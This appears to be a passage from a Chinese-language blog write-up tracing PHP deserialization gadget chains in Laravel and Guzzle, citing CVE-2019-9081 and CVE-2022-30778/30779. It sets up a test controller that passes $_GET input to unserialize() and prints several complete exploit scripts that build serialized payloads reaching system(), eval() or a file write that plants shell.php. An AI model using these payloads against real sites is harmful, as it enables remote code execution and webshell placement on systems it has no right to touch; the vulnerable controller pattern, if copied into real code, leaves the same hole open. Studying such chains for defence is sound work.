                ->shouldAllowMockingProtectedMethods()
                ->shouldIgnoreMissing();

        foreach ($this->test->expectedOutput as $i => $output) {
            $mock->shouldReceive('doWrite')
                ->once()
                ->ordered()
                ->with($output, Mockery::any())
                ->andReturnUsing(function () use ($i) {
                    unset($this->test->expectedOutput[$i]);
                });
        }

        return $mock;
    }

第二个报错就是在这里

image-20230724102703652

image-20230724102723368

此时这个test和expectedOutput都是空的,这里有两个思路,一个是触发__get然后返回,第二个是找到一个存在expectedOutput属性的方法

这里直接找__get,如果找到一个get直接返回,那就省事多了

找到了vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php

public function __get($attribute)
    {
        return $this->default;
    }

这个返回值$this->default可以控制,随便给他赋值就行

所以直接让$this->test=new DefaultGenerator()就行

然后直接执行到了mockConsoleOutput的最后

$this->app->bind(OutputStyle::class, function () use ($mock) {
            return $mock;
        });

这个app也需要赋值,还关联着后面命令执行的地方$this->app[Kernel::class]

image-20230724105210640

这里的$this->app[Kernel::class]应该是获取应用内核实例,百度查了一下,这个$this->app应该是Illuminate\Container\Container这个类

因为它是Laravel中的容器的实现,而且这个类中存在bind方法,满足了mockConsoleOutput的最后,不会报错,然后还存在call方法,满足$this->app[Kernel::class]->call()

所以

$this->app = new Container();

往下运行发现报错了

image-20230724145143441

报错的位置在resolve方法里,由于$concrete和$abstract相同,进入了build方法

protected function isBuildable($concrete, $abstract)
    {
        return $concrete === $abstract || $concrete instanceof Closure;
    }

image-20230724145927211

在build方法中,由于Illuminate\Contracts\Console\Kernel无法实例化然后报错了

image-20230724150317385

所以要跟进查看$concrete = $this->getConcrete($abstract),让其一个可以实例化的$concrete

protected function getConcrete($abstract)
    {
        if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
            return $concrete;
        }

        // If we don't have a registered resolver or concrete for the type, we'll just
        // assume each type is a concrete name and will attempt to resolve it as is
        // since the container should be able to resolve concretes automatically.
        if (isset($this->bindings[$abstract])) {
            return $this->bindings[$abstract]['concrete'];
        }

        return $abstract;
    }

该方法用于获取给定抽象类型($abstract)对应的具体实现类。首先,代码会检查是否存在上下文相关的具体实现(Contextual Concrete)。如果存在,即在容器中为该抽象类型设置了上下文绑定,则直接返回上下文相关的具体实现。

如果没有上下文相关的具体实现,代码会继续判断是否在容器的绑定数组($this->bindings)中存在对该抽象类型的绑定。如果存在,即为该抽象类型设置了绑定,那么代码会返回该绑定定义中的具体实现(’concrete’ 字段)。

如果以上两种情况都不满足,即既没有上下文相关的具体实现,也没有显式的绑定定义,那么代码会默认将抽象类型作为具体实现来返回。

这里的$this->bindings是可控的,可以构造

$this->bindings=["Illuminate\\Contracts\\Console\\Kernel"=>["concrete"=>"Illuminate\\Container\\Container"]];

然后这里就会返回Illuminate\Container\Container这个类

第一次运行到resolve时,走的是make方法,

image-20230724151523216

public function make($abstract, array $parameters = [])
    {
        return $this->resolve($abstract, $parameters);
    }

由于make调用了$this->resolve,又回到这里,但是这次走的是build方法

image-20230724151820887

到最后返回run()的是Illuminate\Container\Container这个类的对象,然后调用这个对象的call方法

这个call方法中的参数$this->command, $this->parameters可控,也就是下面的$callback和$parameters

public function call($callback, array $parameters = [], $defaultMethod = null)
    {
        return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
    }

跟进BoundMethod::call

public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
    {
        if (static::isCallableWithAtSign($callback) || $defaultMethod) {
            return static::callClass($container, $callback, $parameters, $defaultMethod);
        }

        return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });
    }

可以看到call_user_func_array函数,调试发现$callback=”system“是不会进入if语句的,重点放在后面

跟进getMethodDependencies

protected static function getMethodDependencies($container, $callback, array $parameters = [])
    {
        $dependencies = [];

        foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
            static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
        }

        return array_merge($dependencies, $parameters);
    }

这个方法通过反射获取回调函数或方法的参数列表,然后根据参数列表中每个参数的类型和名称,解析对应的依赖关系。最终将解析出来的依赖关系和额外参数合并返回。

所以$parameters$this->parameters是一个数组

$this->parameters = array('calc');

返回后调用call_user_func_array,执行了代码system(“calc”);

最终的exp:

<?php
namespace Illuminate\Foundation\Testing;
use Illuminate\Container\Container;
use Faker\DefaultGenerator;
class PendingCommand
{
    protected $parameters;
    public $test;
    protected $app;
    protected $command;

    public function __construct()
    {
        $this->command = "system";
        $this->parameters = array('calc');
        $this->test = new DefaultGenerator();
        $this->app = new Container();
    }
}
namespace Faker;
class DefaultGenerator
{
    protected $default;

    public function __construct()
    {
        $this->default = ['a'];
    }
}

namespace Illuminate\Container;
class Container
{
    protected $bindings = [];
    public function __construct()
    {
        $this->bindings=["Illuminate\\Contracts\\Console\\Kernel"=>["concrete"=>"Illuminate\\Container\\Container"]];
    }
}
use Illuminate\Foundation\Testing\PendingCommand;
$a = new PendingCommand();
echo urlencode(serialize($a));

image-20230724153739330

5.8.x(CVE-2022-30778)

环境搭建

composer create-project laravel/laravel laravel-5.8 --prefer-dist "5.8"

添加控制器:Http/Controllers/POPController.php

<?php
namespace App\Http\Controllers;
class POPController extends Controller
{
    public function index()
    {
        if(isset($_GET['c'])){
            $c = $_GET['c'];
            unserialize($c);
        }
        else{
            phpinfo();
        }
    }
}

添加路由routes/web.php

Route::get("/","\App\Http\Controllers\POPController@index");

在寻找新链子之前,看看上一个还能不能用,测试发现CVE-2019-9081这条链子还是能用的

POP1

寻找入口__destruct()和5.4的一样,在vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

public function __destruct()
    {
        $this->events->dispatch($this->event);
    }

这个 $this->events可控,这里可以从两个方面入手,一个是__call 另一个是任意类的dispatch方法

这条链子使用的是vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php的dispatch方法

public function dispatch($command)
    {
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }
        return $this->dispatchNow($command);
    }

$this->queueResolver可控,跟进commandShouldBeQueued()

protected function commandShouldBeQueued($command)
    {
        return $command instanceof ShouldQueue;
    }

如果$command是ShouldQueue的实现类,就会返回true,然后调用dispatchToQueue()

public function dispatchToQueue($command)
    {
        $connection = $command->connection ?? null;

        $queue = call_user_func($this->queueResolver, $connection);

        if (! $queue instanceof Queue) {
            throw new RuntimeException('Queue resolver did not return a Queue implementation.');
        }

        if (method_exists($command, 'queue')) {
            return $command->queue($queue, $command);
        }

        return $this->pushCommandToQueue($queue, $command);
    }

这里很明显的看到call_user_func() 这个$this->queueResolver可控,并且 $command->connection这个也可控

所以这里就可以任意命令执行了

现在要找到一个ShouldQueue的实现类,直接搜就行,即使其没有connection属性

这里找到的是Illuminate\Broadcasting\BroadcastEvent

最后的exp:

<?php
namespace Illuminate\Broadcasting;
use Illuminate\Bus\Dispatcher;
use Illuminate\Broadcasting\BroadcastEvent;
class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __construct()
    {
        $this->events=new Dispatcher();
        $this->event=new BroadcastEvent();
    }
}

namespace Illuminate\Bus;
class Dispatcher
{
    protected $queueResolver;
    public function __construct()
    {
        $this->queueResolver="system";
    }
}

namespace Illuminate\Contracts\Queue;
interface ShouldQueue
{

}

namespace Illuminate\Broadcasting;
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue
{
    public $connection;
    public function __construct()
    {
        $this->connection="calc";
    }
}


use  Illuminate\Broadcasting\PendingBroadcast;
$a = new PendingBroadcast();
echo urlencode(serialize($a));

POP2

上面的这条链子还没完,还可以往下走,就是执行到call_user_func()的时候,不执行命令,这里是可以执行任意类的任意方法的

所以找到的是vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }

        eval("?>" . $definition->getCode());
    }
}

这个eval("?>" . $definition->getCode())可以实现任意代码执行,

public function getCode()
    {
        return $this->code;
    }

$this->code可控,剩下的就是让代码走到这个地方

最后的exp:

<?php
namespace Illuminate\Broadcasting;
use Illuminate\Bus\Dispatcher;
use Illuminate\Broadcasting\BroadcastEvent;
class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __construct()
    {
        $this->events=new Dispatcher();
        $this->event=new BroadcastEvent();
    }
}
namespace Illuminate\Bus;
use Mockery\Loader\EvalLoader;
class Dispatcher
{
    protected $queueResolver;
    public function __construct()
    {
        $this->queueResolver=array(new EvalLoader(),"load");
    }
}
namespace Illuminate\Contracts\Queue;
interface ShouldQueue
{

}

namespace Illuminate\Broadcasting;
use Illuminate\Contracts\Queue\ShouldQueue;
use Mockery\Generator\MockDefinition;
class BroadcastEvent implements ShouldQueue
{
    public $connection;
    public function __construct()
    {
        $this->connection=new MockDefinition();
    }
}

namespace Mockery\Loader;
class EvalLoader
{
}

namespace Mockery\Generator;
class MockDefinition
{
    protected $config;
    protected $code;
    public function __construct()
    {
        $this->code="<?php system('calc');?>";
        $this->config=new MockConfiguration();

    }
}

namespace Mockery\Generator;
class MockConfiguration
{

}

use  Illuminate\Broadcasting\PendingBroadcast;
$a = new PendingBroadcast();
echo urlencode(serialize($a));

POP3

入口点依旧是vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

public function __destruct()
{
   $this->events->dispatch($this->event);
}

这条链子是触发__call这个方向

这里触发的是vendor/laravel/framework/src/Illuminate/Validation/Validator.php

public function __call($method, $parameters)
    {
        $rule = Str::snake(substr($method, 8));

        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        }

        throw new BadMethodCallException(sprintf(
            'Method %s::%s does not exist.', static::class, $method
        ));
    }

$this->extensions[$rule]可控,跟进callExtension()

protected function callExtension($rule, $parameters)
    {
        $callback = $this->extensions[$rule];

        if (is_callable($callback)) {
            return call_user_func_array($callback, $parameters);
        } elseif (is_string($callback)) {
            return $this->callClassBasedExtension($callback, $parameters);
        }
    }

这里可以看到 call_user_func_array($callback, $parameters),两个参数都可控,所以这里是可以任意命令执行的

需要构造

$callback = $this->extensions[$rule] = "system"
$this->event = "calc"

经过调试发现$rule="",所以需要$this->extensions=[""=>"system"];

最后的exp:

<?php
namespace Illuminate\Broadcasting;
use Illuminate\Validation\Validator;
class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __construct()
    {
        $this->events=new Validator();
        $this->event="calc";
    }
}
namespace Illuminate\Validation;
class Validator
{
    public $extensions = [];
    public function __construct()
    {
        $this->extensions=[""=>"system"];
    }

}

use  Illuminate\Broadcasting\PendingBroadcast;
$a = new PendingBroadcast();
echo urlencode(serialize($a));

CVE-2022-30779(<=9.1.8)

测试环境是8.x

入口点在vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

public function __destruct()
    {
        $this->save($this->filename);
    }

这个$this->filename可控,跟进save()

public function save(string $filename): void
    {
        $json = [];
        /** @var SetCookie $cookie */
        foreach ($this as $cookie) {
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $jsonStr = Utils::jsonEncode($json);
        if (false === \file_put_contents($filename, $jsonStr, \LOCK_EX)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }

这个方法存在一个file_put_contents而且$filename可控

$jsonStr是来自下面这个函数,$this->data可控

public function toArray(): array
    {
        return $this->data;
    }

跟进CookieJar::shouldPersist让其返回true

public static function shouldPersist(SetCookie $cookie, bool $allowSessionCookies = false): bool
    {
        if ($cookie->getExpires() || $allowSessionCookies) {
            if (!$cookie->getDiscard()) {
                return true;
            }
        }

        return false;
    }

其中

public function getExpires()
{
  return $this->data['Expires'];
}

public function getDiscard()
{
   return $this->data['Discard'];
}

整个过程都是可控的,说明可以写shell

POC

<?php
namespace GuzzleHttp\Cookie;
class FileCookieJar extends CookieJar
    {
        private $filename;
        private $storeSessionCookies;

        public function __construct()
        {
            parent::__construct();
            $this->filename = "shell.php";
            $this->storeSessionCookies = true;
        }
    }

class CookieJar{
        private $cookies = [];
        function __construct()
        {
            $this->cookies[] = new SetCookie();
        }
    }
class SetCookie
{
    private $data;
    function __construct()
    {
        $this->data['Expires'] = '<?php phpinfo();?>';
        $this->data['Discard'] = 0;

    }
}

use GuzzleHttp\Cookie\FileCookieJar;
echo urlencode(serialize(new FileCookieJar()));

在网站根目录生成shell.php,直接访问就行http://x.x.x.x/shell.php

image-20230725174600751